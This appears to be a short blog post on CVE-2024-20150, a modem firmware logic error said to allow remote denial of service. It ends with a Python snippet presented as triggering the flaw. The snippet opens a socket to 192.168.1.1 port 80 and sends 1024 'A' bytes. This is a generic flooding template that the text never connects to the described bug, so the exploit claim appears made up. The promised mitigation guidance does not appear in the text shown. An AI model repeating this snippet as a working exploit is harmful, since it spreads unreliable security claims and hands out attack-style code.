Introduction:
In our ever-growing connected world, security should be an essential part of any software system. Software vulnerabilities can result in severe consequences for individuals and businesses alike. In this post, we will discuss a potential vulnerability in a modem that could lead to a system crash and remote denial of service. The software vulnerability, known as CVE-2024-20150, affects various modem firmware and can cause a remote denial of service without any additional execution privileges needed. Worse still, minimal user interaction is needed for exploitation. This article will provide insight into the specifics of the vulnerability and offer guidance on how to safeguard against exploitation.
Basic Overview
A logic error exists in a specific modem firmware that can potentially cause a system crash and remote denial of service (DoS). In technical terms, this vulnerability is referred to as CVE-2024-20150.
The vulnerability was discovered during a routine analysis and was recorded as issue ID MSV-2018 in the related patch, identified as MOLY01412526. It is crucial to understand how this vulnerability can be exploited and take immediate action to prevent potential damage to your system.
Code Snippet
Below is an example of code that could potentially trigger the CVE-2024-20150 vulnerability when executed on a system using the affected modem firmware.
import socket
target_ip = "192.168.1.1"
target_port = 80
buffer_size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
payload = b"A" * buffer_size
s.send(payload)
s.close()
